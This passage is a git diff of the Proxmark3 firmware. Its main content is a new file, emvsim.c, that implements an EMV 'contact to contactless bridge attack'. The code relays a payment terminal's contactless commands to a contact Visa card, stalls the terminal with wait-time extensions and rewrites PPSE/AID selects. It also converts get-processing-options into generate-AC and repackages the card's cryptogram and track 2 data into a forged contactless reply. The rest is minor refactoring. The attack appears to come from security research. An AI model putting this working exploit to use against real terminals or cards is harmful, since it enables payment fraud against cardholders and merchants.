em4x70_data_t *etd, bool ledcontrol) { // The client now has support for test authentication after // writing a new key, thus allowing to verify that the new // key was written correctly. This is what the datasheet - // suggests. Not currently implemented in the firmware, - // although ID48LIB has no dependencies that would prevent - // use within the firmware layer. + // suggests. Not currently implemented in the firmware. + // ID48LIB has no dependencies that would prevent this from + // being implemented directly within the firmware layer... } } StopTicks(); lf_finalize(ledcontrol); - reply_ng(CMD_LF_EM4X70_SETKEY, status, tag.data, sizeof(tag.data)); + reply_ng(CMD_LF_EM4X70_SETKEY, status, g_tag.data, sizeof(g_tag.data)); } diff --git a/armsrc/em4x70.h b/armsrc/em4x70.h index 541e1cf51..deca58b0c 100644 --- a/armsrc/em4x70.h +++ b/armsrc/em4x70.h @@ -19,12 +19,11 @@ #ifndef EM4x70_H #define EM4x70_H +#include +#include +#include #include "../include/em4x70.h" -typedef struct { - uint8_t data[32]; -} em4x70_tag_t; - typedef enum { RISING_EDGE, FALLING_EDGE diff --git a/armsrc/emvsim.c b/armsrc/emvsim.c new file mode 100644 index 000000000..5b2c2b58e --- /dev/null +++ b/armsrc/emvsim.c @@ -0,0 +1,682 @@ +//----------------------------------------------------------------------------- +// Copyright (C) n-hutton - Sept 2024 +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// EVM contact to contactless bridge attack +//----------------------------------------------------------------------------- + +// Verbose Mode: +// DBG_NONE 0 +// DBG_ERROR 1 +// DBG_INFO 2 +// DBG_DEBUG 3 +// DBG_EXTENDED 4 + +// /!\ Printing Debug message is disrupting emulation, +// Only use with caution during debugging + +// indices into responses array copied from mifare sim init: +#define ATQA 0 +#define SAK 1 +#define SAKuid 2 +#define UIDBCC1 3 +#define UIDBCC2 8 +#define UIDBCC3 13 + +#include "emvsim.h" +#include +#include "BigBuf.h" +#include "iso14443a.h" +#include "BigBuf.h" +#include "string.h" +#include "mifareutil.h" +#include "mifaresim.h" +#include "fpgaloader.h" +#include "proxmark3_arm.h" +#include "protocols.h" +#include "util.h" +#include "commonutil.h" +#include "dbprint.h" +#include "ticks.h" +#include "i2c_direct.h" + +// Hardcoded response to the reader for file not found, plus the checksum +static uint8_t filenotfound[] = {0x02, 0x6a, 0x82, 0x93, 0x2f}; + +// TLV response for PPSE directory request +static uint8_t pay1_response[] = { 0x6F, 0x1E, 0x84, 0x0E }; + +// The WTX we want to send out... The format: +// 0xf2 is the command +// 0x0e is the time to wait (currently at max) +// The remaining bytes are CRC, precalculated for speed +static uint8_t extend_resp[] = {0xf2, 0x0e, 0x66, 0xb8}; + + +// For reference, we have here the pay1 template we receive from the card, and the pay2 template we send back to the reader +// These can be inspected at https://emvlab.org/tlvutils/ +// Note that the pay2 template is coded for visa ps in the UK - other countries may have different templates. Refer: +// https://mstcompany.net/blog/acquiring-emv-transaction-flow-part-3-get-processing-options-with-and-without-pdol +// Specifically, 9F5A: Application Program Identifier: 3108260826 might have to become 31 0840 0840 for USA for example. +// todo: see if this can be read from the card and automatically populated rather than hard coded +//static uint8_t fci_template_pay1[] = {0xff, 0x6f, 0x3b, 0x84, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0xa5, 0x30, 0x50, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x5f, 0x2d, 0x02, 0x65, 0x6e, 0x9f, 0x12, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x9f, 0x11, 0x01, 0x01, 0xbf, 0x0c, 0x0b, 0x9f, 0x0a, 0x08, 0x00, 0x01, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x17, 0x48}; +static uint8_t fci_template_pay2[] = {0x02, 0x6f, 0x5e, 0x84, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0xa5, 0x53, 0x50, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x9f, 0x38, 0x18, 0x9f, 0x66, 0x04, 0x9f, 0x02, 0x06, 0x9f, 0x03, 0x06, 0x9f, 0x1a, 0x02, 0x95, 0x05, 0x5f, 0x2a, 0x02, 0x9a, 0x03, 0x9c, 0x01, 0x9f, 0x37, 0x04, 0x5f, 0x2d, 0x02, 0x65, 0x6e, 0x9f, 0x11, 0x01, 0x01, 0x9f, 0x12, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0xbf, 0x0c, 0x13, 0x9f, 0x5a, 0x05, 0x31, 0x08, 0x26, 0x08, 0x26, 0x9f, 0x0a, 0x08, 0x00, 0x01, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0xd8, 0x15}; + +// This is the hardcoded response that a contactless card would respond with when asked to select PPSE. +// It is a TLV structure, and can be seen here: +// https://emvlab.org/tlvutils/?data=6f3e840e325041592e5359532e4444463031a52cbf0c2961274f07a0000000031010500a566973612044656269749f0a080001050100000000bf6304df200180 +// The first byte is the class byte, and the payload is followed by 0x9000, which is the success code, and the CRC (precalculated) +static uint8_t pay2_response[] = { 0x03, 0x6f, 0x3e, 0x84, 0x0e, 0x32, 0x50, 0x41, 0x59, 0x2e, 0x53, 0x59, 0x53, 0x2e, 0x44, 0x44, 0x46, 0x30, 0x31, 0xa5, 0x2c, 0xbf, 0x0c, 0x29, 0x61, 0x27, 0x4f, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0x50, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x9f, 0x0a, 0x08, 0x00, 0x01, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0xbf, 0x63, 0x04, 0xdf, 0x20, 0x01, 0x80, 0x90, 0x00, 0x07, 0x9d}; + +void ExecuteEMVSim(uint8_t *receivedCmd, uint16_t receivedCmd_len, uint8_t *receivedCmd_copy, uint16_t receivedCmd_len_copy); + +typedef enum { + STATE_DEFAULT, + SELECT_PAY1, + SELECT_PAY1_AID, + REQUESTING_CARD_PDOL, + GENERATE_AC, +} SystemState; + +static SystemState currentState = STATE_DEFAULT; + +// This is the main entry point for the EMV attack, everything before this has just been setup/handshaking. +// In order to meet the timing requirements, as soon as the proxmark sees a command it immediately +// caches the command to process and responds with a WTX +// (waiting time extension). When it get the response to this WTX, it can process the cached command through the I2C interface. +// +// The full flow is: +// 1. Handshake with RATS +// 2. Reader attempts to find out which payment environment the proxmark supports (may start with SELECT OSE for example) +// 3. Reader eventually makes a request for the PAY2 application (select PPSE) (contactless payment) +// 4. We read the PAY1 environment and transform it into PAY2 to respond +// 5. Reader will select AID we responded in step 4 +// 6. We get the response from selecting the PAY1 AID and transform it into PAY2 response (fci template) +// - This is important as it contains the PDOL (processing data object list) which specifies the data which is +// signed by the card and sent to the reader to verify the transaction. +// 7. The reader will then issue 'get processing options' which seems to be used here to provide the fields to be signed +// as specified by the PDOL. +// 8. In contactless flow, GPO should at least return the Application Interchange Profile (AIP) and +// Application File Locator (AFL). However, here we return track 2 data, the cryptogram, everything. This completes the transaction. +// 9. To construct this final response, behind the scenes we need to interact with the card to make it think its completing a contact transaction: +// - Request PDOL to prime the card (response not used) +// - Rearrange the GPO data provided into a 'generate AC' command for the card +// - Extract the cryptogram, track 2 data and anything else required +// - Respond. Transaction is complete +void ExecuteEMVSim(uint8_t *receivedCmd, uint16_t receivedCmd_len, uint8_t *receivedCmd_copy, uint16_t receivedCmd_len_copy) { + uint8_t responseToReader[MAX_FRAME_SIZE] = {0x00}; + uint16_t responseToReader_len; + + // special print me + Dbprintf("\nrecvd from reader:"); + Dbhexdump(receivedCmd_len, receivedCmd, false); + Dbprintf(""); + + // use annotate to give some hints about the command + annotate(&receivedCmd[1], receivedCmd_len - 1); + + // This is a common request from the reader which we can just immediately respond to since we know we can't + // handle it. + if (receivedCmd[6] == 'O' && receivedCmd[7] == 'S' && receivedCmd[8] == 'E') { + Dbprintf("We saw OSE... ignore it!"); + EmSendCmd(filenotfound, sizeof(filenotfound)); + return; + } + + // We want to modify corrupted request + if ((receivedCmd_len > 5 && receivedCmd[0] != 0x03 && receivedCmd[0] != 0x02 && receivedCmd[1] == 0 && receivedCmd[4] == 0) || (receivedCmd[2] == 0xa8)) { + Dbprintf("We saw signing request... modifying it into a generate ac transaction !!!!"); + + currentState = GENERATE_AC; + + memcpy(receivedCmd, (unsigned char[]) { 0x03, 0x80, 0xae, 0x80, 0x00, 0x1d }, 6); + + for (int i = 0; i < 29; i++) { + receivedCmd[6 + i] = receivedCmd[12 + i]; + } + + // clear final byte just in case + receivedCmd[35] = 0; + + receivedCmd_len = 35 + 3; // Core command is 35, then there is control code and the crc + + Dbprintf("\nthe command has now become:"); + Dbhexdump(receivedCmd_len, receivedCmd, false); + } + + // Seems unlikely + if (receivedCmd_len >= 9 && receivedCmd[6] == '1' && receivedCmd[7] == 'P' && receivedCmd[8] == 'A') { + Dbprintf("We saw 1PA... !!!!"); + } + + // Request more time for 2PAY and respond with a modified 1PAY request. We literally just change the 2 to a 1. + if (receivedCmd_len >= 9 && receivedCmd[6] == '2' && receivedCmd[7] == 'P' && receivedCmd[8] == 'A') { + Dbprintf("We saw 2PA... switching it to 1PAY !!!!"); + receivedCmd[6] = '1'; + currentState = SELECT_PAY1; + } + + // We are selecting a short AID - assume it is pay2 aid + if (receivedCmd[2] == 0xA4 && receivedCmd[5] == 0x07) { + Dbprintf("Selecting pay2 AID"); + currentState = SELECT_PAY1_AID; + } + + static uint8_t rnd_resp[] = {0xb2, 0x67, 0xc7}; + if (memcmp(receivedCmd, rnd_resp, sizeof(rnd_resp)) == 0) { + Dbprintf("We saw bad response... !"); + return; + } + + // We have received the response from a WTX command! Process the cached command at this point. + if (memcmp(receivedCmd, extend_resp, sizeof(extend_resp)) == 0) { + // Special case: if we are about to do a generate AC, we also need to + // make a request for pdol first (and discard response)... + if (receivedCmd_copy[1] == 0x80 && receivedCmd_copy[2] == 0xae) { + Dbprintf("We are about to do a generate AC... we need to request PDOL first..."); + uint8_t pdol_request[] = { 0x80, 0xa8, 0x00, 0x00, 0x02, 0x83, 0x00 }; + + currentState = REQUESTING_CARD_PDOL; + CmdSmartRaw(0xff, &(pdol_request[0]), sizeof(pdol_request), (&responseToReader[0]), &responseToReader_len); + } + + // Send the cached command to the card via ISO7816 + // This is minus 3 because we don't include the first byte (prepend), plus we don't want to send the + // last two bytes (CRC) to the card. + // On the return, the first class byte must be the same, so it's preserved in responseToReader + CmdSmartRaw(receivedCmd_copy[0], &(receivedCmd_copy[1]), receivedCmd_len_copy - 3, (&responseToReader[0]), &responseToReader_len); + + // Print the unadultered response we got from the card here + Dbprintf("The response from the card is ==> :"); + Dbhexdump(responseToReader_len, responseToReader, false); + + // We have passed the reader's query to the card, but before we return it, we need to check if we need to modify + // the response to 'pretend' to be a PAY2 environment. + // This is always the same response for VISA, the only currently supported card + if (currentState == SELECT_PAY1) { + Dbprintf("We saw a PAY1 response... modifying it to a PAY2 response !!!!"); + + if (!memcmp(&responseToReader[1], &pay1_response[0], sizeof(pay1_response)) == 0) { + Dbprintf("The response from the card is not a PAY1 response. This is unexpected and probably fatal."); + } + + if (pay2_response[0] != responseToReader[0]) { + Dbprintf("The first byte of the PAY2 response is different from the request. This is unexpected and probably fatal."); + } + + memcpy(responseToReader, &pay2_response[0], sizeof(pay2_response)); + responseToReader_len = sizeof(pay2_response); + } + + if (responseToReader[0] != 0xff && responseToReader[1] == 0x77 && true) { + Dbprintf("we have detected a generate ac response, lets repackage it!!"); + Dbhexdump(responseToReader_len, responseToReader, false); // special print + + // 11 and 12 are trans counter. + // 16 to 24 are the cryptogram + // 27 to 34 is issuer application data + Dbprintf("atc: %d %d, cryptogram: %d ", responseToReader[11], responseToReader[12], responseToReader[13]); + + // then, on the template: + // 60 and 61 for counter + // 45 to 53 for cryptogram + // 35 to 42 for issuer application data + uint8_t template[] = { 0x00, 0x77, 0x47, 0x82, 0x02, 0x39, 0x00, 0x57, 0x13, 0x47, + 0x62, 0x28, 0x00, 0x05, 0x93, 0x38, 0x64, 0xd2, 0x70, 0x92, + 0x01, 0x00, 0x00, 0x01, 0x42, 0x00, 0x00, 0x0f, 0x5f, 0x34, + 0x01, 0x00, 0x9f, 0x10, 0x07, 0x06, 0x01, 0x12, 0x03, 0xa0, + 0x20, 0x00, 0x9f, 0x26, 0x08, 0x56, 0xcb, 0x4e, 0xe1, 0xa4, + 0xef, 0xac, 0x74, 0x9f, 0x27, 0x01, 0x80, 0x9f, 0x36, 0x02, + 0x00, 0x07, 0x9f, 0x6c, 0x02, 0x3e, 0x00, 0x9f, 0x6e, 0x04, + 0x20, 0x70, 0x00, 0x00, 0x90, 0x00, 0xff, 0xff + }; + + // do the replacement + template[0] = responseToReader[0]; // class bit 0 + + template[60] = responseToReader[10]; + template[61] = responseToReader[11]; + + // Copy responseToReader[15..23] to template[45..53] + for (int i = 0; i <= 8; i++) { + template[45 + i] = responseToReader[15 + i]; + } + + // Copy responseToReader[26..32] to template[35..41] + for (int i = 0; i <= 6; i++) { + template[35 + i] = responseToReader[26 + i]; + } + + Dbprintf("\nrearranged is: "); + responseToReader_len = sizeof(template); + + // We DO NOT add the CRC here, this way we can avoid a million penny payments! + // The CRC is calculated here, but doesn't include the class bit at the beginning, plus + // also obvisously doesn't include the CRC bytes itself. + AddCrc14A(&template[0], responseToReader_len - 2); + + responseToReader_len = sizeof(template); + memcpy(responseToReader, &template[0], responseToReader_len); + + Dbprintf("\nafter crc rearranged is: "); + Dbhexdump(responseToReader_len, &responseToReader[0], false); // special print + } + + // If we would return a PAY1 fci response, we instead return a PAY2 fci response + if (currentState == SELECT_PAY1_AID) { + Dbprintf("We saw a PAY1 response... modifying it to a PAY2 response for outgoing !!!!"); + memcpy(responseToReader, fci_template_pay2, sizeof(fci_template_pay2)); + responseToReader_len = sizeof(fci_template_pay2); + } + + EmSendCmd(responseToReader, responseToReader_len); + + return; + } + + // Send a request for more time, and cache the command we want to process + EmSendCmd(extend_resp, 4); +} + +/** +* EMVsim - simulate an EMV contactless card transaction by +* +*@param flags: See pm3_cmd.h for the full definitions +*@param exitAfterNReads, exit simulation after n transactions (default 1) +*@param uid, UID - must be length 7 +*@param atqa, override for ATQA, flags indicate if this is used +*@param sak, override for SAK, flags indicate if this is used +* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attmpted) +*/ +void EMVsim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak) { + + tag_response_info_t *responses; + uint8_t cardSTATE = MFEMUL_NOFIELD; + uint8_t uid_len = 0; // 7 + uint32_t cuid = 0; + + uint8_t receivedCmd[MAX_FRAME_SIZE] = {0x00}; + uint8_t receivedCmd_copy[MAX_FRAME_SIZE] = {0x00}; + uint8_t receivedCmd_par[MAX_MIFARE_PARITY_SIZE] = {0x00}; + uint16_t receivedCmd_len; + uint16_t receivedCmd_len_copy = 0; + + if (receivedCmd_len_copy) { + Dbprintf("receivedCmd_len_copy: %d", receivedCmd_len_copy); + } + + uint8_t *rats = NULL; + uint8_t rats_len = 0; + + // if fct is called with NULL we need to assign some memory since this pointer is passed around + uint8_t uid_tmp[10] = {0}; + if (uid == NULL) { + uid = uid_tmp; + } + + const tUart14a *uart = GetUart14a(); + + // free eventually allocated BigBuf memory but keep Emulator Memory + BigBuf_free_keep_EM(); + + // Print all arguments going into mifare sim init + Dbprintf("EMVsim: flags: %04x, uid: %p, atqa: %04x, sak: %02x", flags, uid, atqa, sak); + + if (MifareSimInit(flags, uid, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) { + BigBuf_free_keep_EM(); + return; + } + + // Print all the outputs after the sim init + Dbprintf("EMVsim: cuid: %08x, uid_len: %d, rats: %p, rats_len: %d", cuid, uid_len, rats, rats_len); + + // We need to listen to the high-frequency, peak-detected path. + iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); + + // clear trace + clear_trace(); + set_tracing(true); + LED_D_ON(); + ResetSspClk(); + + int counter = 0; + bool finished = false; + bool button_pushed = BUTTON_PRESS(); + + while ((button_pushed == false) && (finished == false)) { + + WDT_HIT(); + + if (counter == 3000) { + if (data_available()) { + Dbprintf("----------- " _GREEN_("BREAKING") " ----------"); + break; + } + counter = 0; + } else { + counter++; + } + + FpgaEnableTracing(); + // Now, get data from the FPGA + int res = EmGetCmd(receivedCmd, sizeof(receivedCmd), &receivedCmd_len, receivedCmd_par); + + if (res == 2) { //Field is off! + LEDsoff(); + if (cardSTATE != MFEMUL_NOFIELD) { + Dbprintf("cardSTATE = MFEMUL_NOFIELD"); + break; + } + cardSTATE = MFEMUL_NOFIELD; + continue; + } else if (res == 1) { // button pressed + FpgaDisableTracing(); + button_pushed = true; + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("Button pressed"); + break; + } + + // WUPA in HALTED state or REQA or WUPA in any other state + if (receivedCmd_len == 1 && ((receivedCmd[0] == ISO14443A_CMD_REQA && cardSTATE != MFEMUL_HALTED) || receivedCmd[0] == ISO14443A_CMD_WUPA)) { + EmSendPrecompiledCmd(&responses[ATQA]); + + FpgaDisableTracing(); + + LED_B_OFF(); + LED_C_OFF(); + cardSTATE = MFEMUL_SELECT; + + continue; + } + + switch (cardSTATE) { + case MFEMUL_NOFIELD: { + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MFEMUL_NOFIELD"); + + break; + } + case MFEMUL_HALTED: { + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MFEMUL_HALTED"); + + break; + } + case MFEMUL_IDLE: { + LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MFEMUL_IDLE"); + + break; + } + + // The anti-collision sequence, which is a mandatory part of the card activation sequence. + // It auto with 4-byte UID (= Single Size UID), + // 7 -byte UID (= Double Size UID) or 10-byte UID (= Triple Size UID). + // For details see chapter 2 of AN10927.pdf + // + // This case is used for all Cascade Levels, because: + // 1) Any devices (under Android for example) after full select procedure completed, + // when UID is known, uses "fast-selection" method. In this case reader ignores + // first cascades and tries to select tag by last bytes of UID of last cascade + // 2) Any readers (like ACR122U) uses bit oriented anti-collision frames during selectin, + // same as multiple tags. For details see chapter 6.1.5.3 of ISO/IEC 14443-3 + case MFEMUL_SELECT: { + + int uid_index = -1; + // Extract cascade level + if (receivedCmd_len >= 2) { + switch (receivedCmd[0]) { + case ISO14443A_CMD_ANTICOLL_OR_SELECT: + uid_index = UIDBCC1; + break; + case ISO14443A_CMD_ANTICOLL_OR_SELECT_2: + uid_index = UIDBCC2; + break; + case ISO14443A_CMD_ANTICOLL_OR_SELECT_3: + uid_index = UIDBCC3; + break; + } + } + + if (uid_index < 0) { + LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); + cardSTATE_TO_IDLE(); + break; + } + + // Incoming SELECT ALL for any cascade level + if (receivedCmd_len == 2 && receivedCmd[1] == 0x20) { + EmSendPrecompiledCmd(&responses[uid_index]); + FpgaDisableTracing(); + + break; + } + + // Incoming SELECT CLx for any cascade level + if (receivedCmd_len == 9 && receivedCmd[1] == 0x70) { + if (memcmp(&receivedCmd[2], responses[uid_index].response, 4) == 0) { + bool cl_finished = (uid_len == 4 && uid_index == UIDBCC1) || + (uid_len == 7 && uid_index == UIDBCC2) || + (uid_len == 10 && uid_index == UIDBCC3); + EmSendPrecompiledCmd(&responses[cl_finished ? SAK : SAKuid]); + FpgaDisableTracing(); + + if (cl_finished) { + LED_B_ON(); + cardSTATE = MFEMUL_WORK; + } + } else { + // IDLE, not our UID + LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); + cardSTATE_TO_IDLE(); + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_SELECT] cardSTATE = MFEMUL_IDLE"); + } + break; + } + + // Incoming anti-collision frame + // receivedCmd[1] indicates number of byte and bit collision, supports only for bit collision is zero + if (receivedCmd_len >= 3 && receivedCmd_len <= 6 && (receivedCmd[1] & 0x0f) == 0) { + // we can process only full-byte frame anti-collision procedure + if (memcmp(&receivedCmd[2], responses[uid_index].response, receivedCmd_len - 2) == 0) { + // response missing part of UID via relative array index + EmSendPrecompiledCmd(&responses[uid_index + receivedCmd_len - 2]); + FpgaDisableTracing(); + + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); + Dbprintf("001 SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); + } else { + // IDLE, not our UID or split-byte frame anti-collision (not supports) + LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); + cardSTATE_TO_IDLE(); + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_SELECT] cardSTATE = MFEMUL_IDLE"); + } + + break; + } + + // Unknown selection procedure + LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); + cardSTATE_TO_IDLE(); + + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_SELECT] Unknown selection procedure"); + break; + } + + // WORK + case MFEMUL_WORK: { + + if (receivedCmd_len == 0) { + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] NO CMD received"); + Dbprintf("001 [MFEMUL_WORK] NO CMD received"); + break; + } + + // all commands must have a valid CRC + if (!CheckCrc14A(receivedCmd, receivedCmd_len)) { + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] All commands must have a valid CRC %02X (%d)", receivedCmd, + receivedCmd_len); + break; + } + + // rule 13 of 7.5.3. in ISO 14443-4. chaining shall be continued + // BUT... ACK --> NACK + if (receivedCmd_len == 1 && receivedCmd[0] == CARD_ACK) { + Dbprintf("[MFEMUL_WORK] ACK --> NACK !!"); + EmSend4bit(CARD_NACK_NA); + FpgaDisableTracing(); + break; + } + + // rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK) + if (receivedCmd_len == 1 && receivedCmd[0] == CARD_NACK_NA) { + Dbprintf("[MFEMUL_WORK] NACK --> NACK !!"); + EmSend4bit(CARD_ACK); + FpgaDisableTracing(); + break; + } + + // case MFEMUL_WORK => CMD RATS + if (receivedCmd_len == 4 && receivedCmd[0] == ISO14443A_CMD_RATS && receivedCmd[1] == 0x80) { + if (rats && rats_len) { + EmSendCmd(rats, rats_len); + FpgaDisableTracing(); + } else { + EmSend4bit(CARD_NACK_NA); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] RCV RATS => NACK"); + } + break; + } + + // case MFEMUL_WORK => ISO14443A_CMD_NXP_DESELECT + if (receivedCmd_len == 3 && receivedCmd[0] == ISO14443A_CMD_NXP_DESELECT) { + if (rats && rats_len) { + EmSendCmd(receivedCmd, receivedCmd_len); + + FpgaDisableTracing(); + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK"); + } else { + EmSend4bit(CARD_NACK_NA); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK"); + } + break; + } + + + // From this point onwards is where the 'magic' happens + ExecuteEMVSim(receivedCmd, receivedCmd_len, receivedCmd_copy, receivedCmd_len_copy); + + // We want to keep a copy of the command we just saw, because we will process it once we get the + // WTX response + Dbprintf("Caching command for later processing... its length is %d", receivedCmd_len); + memcpy(receivedCmd_copy, receivedCmd, receivedCmd_len); + receivedCmd_len_copy = receivedCmd_len; + } + + continue; + } // End Switch Loop + + button_pushed = BUTTON_PRESS(); + } // End While Loop + + FpgaDisableTracing(); + + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", get_tracing(), BigBuf_get_traceLen()); + } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); + BigBuf_free_keep_EM(); +} + +// annotate iso 7816 +void annotate(uint8_t *cmd, uint8_t cmdsize) { + if (cmdsize < 2) { + return; + } + + // From https://mvallim.github.io/emv-qrcode/docs/EMV_v4.3_Book_3_Application_Specification_20120607062110791.pdf + // section 6.3.2 + switch (cmd[1]) { + case ISO7816_APPLICATION_BLOCK: { + Dbprintf("APPLICATION BLOCK"); + break; + } + case ISO7816_APPLICATION_UNBLOCK: { + Dbprintf("APPLICATION UNBLOCK"); + break; + } + case ISO7816_CARD_BLOCK: { + Dbprintf("CARD BLOCK"); + break; + } + case ISO7816_EXTERNAL_AUTHENTICATION: { + Dbprintf("EXTERNAL AUTHENTICATE"); + break; + } + case ISO7816_GENERATE_APPLICATION_CRYPTOGRAM: { + Dbprintf("GENERATE APPLICATION CRYPTOGRAM"); + break; + } + case ISO7816_GET_CHALLENGE: { + Dbprintf("GET CHALLENGE"); + break; + } + case ISO7816_GET_DATA: { + Dbprintf("GET DATA"); + break; + } + case ISO7816_GET_PROCESSING_OPTIONS: { + Dbprintf("GET PROCESSING OPTIONS"); + break; + } + case ISO7816_INTERNAL_AUTHENTICATION: { + Dbprintf("INTERNAL AUTHENTICATION"); + break; + } + case ISO7816_PIN_CHANGE: { + Dbprintf("PIN CHANGE"); + break; + } + case ISO7816_READ_RECORDS: { + Dbprintf("READ RECORDS"); + break; + } + case ISO7816_SELECT_FILE: { + Dbprintf("SELECT FILE"); + break; + } + case ISO7816_VERIFY: { + Dbprintf("VERIFY"); + break; + } + default: { + Dbprintf("NOT RECOGNISED"); + break; + } + } +} diff --git a/armsrc/emvsim.h b/armsrc/emvsim.h new file mode 100644 index 000000000..118fa0162 --- /dev/null +++ b/armsrc/emvsim.h @@ -0,0 +1,30 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Gerhard de Koning Gans - May 2008 +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Mifare Classic Card Simulation +//----------------------------------------------------------------------------- + +#ifndef __EMVSIM_H +#define __EMVSIM_H + +#include "common.h" + +#define AUTHKEYNONE 0xff + +void EMVsim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak); +void annotate(uint8_t *cmd, uint8_t cmdsize); + +#endif diff --git a/armsrc/epa.c b/armsrc/epa.c index aa0f87230..583b59d8f 100644 --- a/armsrc/epa.c +++ b/armsrc/epa.c @@ -649,5 +649,5 @@ void EPA_PACE_Simulate(const PacketCommandNG *c) { Dbprintf("Standardized Domain Parameter: %i", pace_version_info.parameter_id); DbpString(""); - DbpString("finished"); + DbpString("Done!"); } diff --git a/armsrc/felica.c b/armsrc/felica.c index 084ca6eee..d924cc0b7 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -241,8 +241,8 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // We try 10 times, or if answer was received. int len = 25; do { - // end-of-reception response packet data, wait approx. 501μs - // end-of-transmission command packet data, wait approx. 197μs + // end-of-reception response packet data, wait approx. 501µs + // end-of-transmission command packet data, wait approx. 197µs // polling card TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0); @@ -497,7 +497,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { BigBuf_Clear_ext(false); // Initialize Demod and Uart structs - // DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + // DemodInit(BigBuf_calloc(MAX_FRAME_SIZE)); FelicaFrameinit(BigBuf_calloc(FELICA_MAX_FRAME_SIZE)); felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; // 418 diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index bf7ad765b..b3d739a6d 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -185,7 +185,9 @@ void FpgaSetupSsc(uint16_t fpga_mode) { // ourselves, not to another buffer). //----------------------------------------------------------------------------- bool FpgaSetupSscDma(uint8_t *buf, uint16_t len) { - if (buf == NULL) return false; + if (buf == NULL) { + return false; + } FpgaDisableSscDma(); AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) buf; // transfer to this memory address @@ -521,10 +523,11 @@ void FpgaDownloadAndGo(int bitstream_target) { 